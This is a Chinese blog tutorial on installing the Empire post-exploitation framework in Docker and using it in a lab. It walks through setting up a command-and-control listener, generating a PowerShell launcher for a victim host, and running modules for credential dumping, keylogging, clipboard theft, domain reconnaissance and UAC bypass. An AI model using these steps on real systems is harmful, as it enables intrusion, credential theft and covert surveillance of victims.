Empire-配置安装和基本使用

N 人看过

1. 简述

Empire一款只针对win系统的后渗透神器,该工具是基于Poweshell脚本的攻击框架

主要实现对内网、对域的攻击,提权横向移动等。

2. 环境配置

正常安装过程中BUG比较多,安装各种报错,属实恼火,本次以docker安装测试为主。

Linux安装,需要python2.7环境。

git clone https://github.com/EmpireProject/Empire.git
sudo ./Empire/setup/install.sh
sudo ./setup/reset.sh
sudo ./Empire/empire

Docker安装

docker pull empireproject/empire
docker run -it -p 4567:4567 -p 4568:4568 --name empire empireproject/empire /bin/bash
sudo ./setup/reset.sh
sudo ./empire

安装提示缺少依赖包:pefile,pip安装pefile报错(提示版本过低),下载pip手动更新:

# 下载
[root@3aeed373c0fd ~]:/opt/Empire# curl https://files.pythonhosted.org/packages/8c/5c/c18d58ab5c1a702bf670e0bd6a77cd4645e4aeca021c6118ef850895cc96/pip-20.0.tar.gz#sha256=5128e9a9401f1d16c1d15b2ed766a79d7813db1538428d0b0ce74838249e3a41 -o pip.tar.gz

# 解压安装
[root@3aeed373c0fd ~]:/opt/Empire#tar -xf pip.tar.gz
[root@3aeed373c0fd ~]:/opt/Empire#python setup.py install
[root@3aeed373c0fd ~]:/opt/Empire# pip install pefile

# 打包镜像,不然下次运行还是缺少依赖包
docker commit 3aeed373c0fd empire2
# 之后便后生成镜像empire2,后续运行empire2就行
docker run -it 434 /bin/bash

image-20211207210530569

终于成功跑起来了,T.T

img

3. 模块概述

看了官网描述,大概内容如下:

├── Fundamentals
│   ├── Listeners
│   ├── Stagers
│   ├── Agents
│   └── Logging-and-Downloads
├── Mimikatz
│   ├── Credentials
│   └── Kerberos
├── Situational-Awareness
│   ├── Host
│   └── Network
├── Privesc
│   ├── UAC-Bypass
│   ├── PowerUp
│   └── GPP
├── Collection
│   ├── ClipboardTheft
│   ├── Keylogging
│   ├── Screenshots
│   └── Misc.
├── Lateral-Movement
│   ├── Pass-the-hash
│   ├── Invoke-WMI
│   ├── Invoke-PsExec
│   └── PSRemoting
├── Persistence
│   ├── PowerBreach
│   ├── Userland
│   ├── Elevated
│   ├── Debuggers
│   └── Misc.
├── MSF-Integration
│   ├── Empire-as-a-Payload
│   └── Foreign-MSF-Listeners
└── Misc.
    ├── Empire-Staging
    ├── Module-Development
    ├── Process-Injection
    └── Session-Passing

4. 基本使用

4.1 设置监听器

首先要进入监听器模块,之后选择监听器类型,设置URL,生成名称为test1的监听器,注意大小写敏感。

listeners
uselistener http
set Name test1
set Host http://172.17.0.2:4567
set Port 4567
execute

image-20211208214705069

查看刚刚设置的监听器(返回使用back):

list listeners

image-20211208215020219

 注意: 

由于我是在docker中启动的empire,而docker环境在未进行配置的情况下不能被外部访问,只能通过-p指定端口,所以生成木马的时候上线主机应设置为宿主机的IP,之后得再改回来,比较麻烦。

宿主机 IP:192.168.2.8

docker IP:172.17.0.2

先使用宿主机IP生成木马:

image-20211208230234085

生成后更改IP为dockerIP,并重启监听器:

image-20211208230343717

后续发现这样并不行,虽然能够上线,但是并不能执行命令,经测试,发现是docker网络环境导致。

退出修改配置如下,使docker和宿主机在同一网段:

# 创建名称为test的docker网络,ens33是宿主机的网卡名称
docker network create -d macvlan --subnet=192.168.2.100/24 --gateway=192.168.2.2 -o parent=ens33 test
# 查看创建的网络
docker network ls

运行empire,并指定网络和地址

docker run –net=test –ip=192.168.2.10 -itd empire2 /bin/bash

进入容器

docker exec -it 3f791 /bin/bash

# 不开启detach可以直接进入容器了
docker run --net=test --ip=192.168.2.10 -it empire2 /bin/bash

image-20211209220230689

image-20211209220141601

4.2 上线操作

生成ps脚本,受害主机运行ps脚本,成功上线。首先重命名为win8,后续进入交互界面。

launcher powershell test

image-20211209221118333

查看主机上线列表可以使用agents命令:

image-20211209221401264

进入agent

interact win8

image-20211209221754119

一些基本的信息搜集:systeminfogetuidcreds

image-20211209222133970

使用模块搜集信息(存在中文乱码情况,暂未解决,后续测试换了English的环境…..):

usemodule situational_awareness/host/computerdetails
usemodule situational_awareness/host/winenum

image-20211210202434575

image-20211210203228598

其他模块:

collection/screenshot
collection/keylogger
collection/clipboard_monitor
#域内所有的共享
situational_awareness/network/powerview/share_finder
#列举系统中所有有用的信息
situational_awareness/host/computerdetails
#设置range扫描的网段
situational_awareness/network/arpscan 
#DNS信息获取
situational_awareness/network/reverse_dns
#查找域管登陆的机器
situational_awareness/network/powerview/user_hunter
#本地管理组访问模块
situation_awareness/network/powerview/find_localadmin_access
#绕过UAC实现管理员权限执行payload
privesc/bypassuac
privesc/pypassuac_wscript

参考链接:

本作品采用 知识共享署名-非商业性使用-禁止演绎 4.0 国际许可协议 (CC BY-NC-ND 4.0) 进行许可。